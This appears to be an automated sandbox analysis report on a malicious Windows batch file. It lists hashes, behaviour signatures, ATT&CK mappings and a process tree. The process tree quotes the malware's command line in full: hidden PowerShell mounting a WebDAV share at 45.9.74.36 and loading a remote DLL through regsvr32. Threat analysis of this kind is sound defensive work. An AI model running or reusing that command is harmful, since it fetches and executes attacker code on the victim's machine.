853629c9c1862de3af867cddf8b713c2180631c377e71cbe181837f0966302f1

Analysis

max time kernel
101s
max time network
16s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 14:26

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General

Target

7829217041927821965.bat
Size

12KB
MD5

12a8d51e88a03ea9a432b1eca6bff146
SHA1

52ebe45326c725fce304b46d7a714853ec72da65
SHA256

853629c9c1862de3af867cddf8b713c2180631c377e71cbe181837f0966302f1
SHA512

2dd2423211ddafee5ec75bc365767f205bae7e9fb0c04451627b1f7a9a5d00fe13c18dadcaab70a1d71e6fc1ce8a42c00ddbd9bc261fc69ee1c39ff5a6d0bc08
SSDEEP

384:Pwi9Osbne6k0VL+XABChcKhcWB1BI+zeprg6mFcHd0+:PFIsbeIL+XrhcKhcWfBz3mHd0+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2848	wordpad.exe
2848	wordpad.exe
2848	wordpad.exe
2848	wordpad.exe
2848	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 2848	2884	cmd.exe	30
PID 2884 wrote to memory of 2848	2884	cmd.exe	30
PID 2884 wrote to memory of 2848	2884	cmd.exe	30
PID 2884 wrote to memory of 3040	2884	cmd.exe	31
PID 2884 wrote to memory of 3040	2884	cmd.exe	31
PID 2884 wrote to memory of 3040	2884	cmd.exe	31
PID 3040 wrote to memory of 2640	3040	powershell.exe	33
PID 3040 wrote to memory of 2640	3040	powershell.exe	33
PID 3040 wrote to memory of 2640	3040	powershell.exe	33
PID 3040 wrote to memory of 2784	3040	powershell.exe	34
PID 3040 wrote to memory of 2784	3040	powershell.exe	34
PID 3040 wrote to memory of 2784	3040	powershell.exe	34
PID 3040 wrote to memory of 2784	3040	powershell.exe	34
PID 3040 wrote to memory of 2784	3040	powershell.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7829217041927821965.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\20734210521021.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2640
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\20734210521021.dll
    3⤵
    PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3040-21-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/3040-22-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download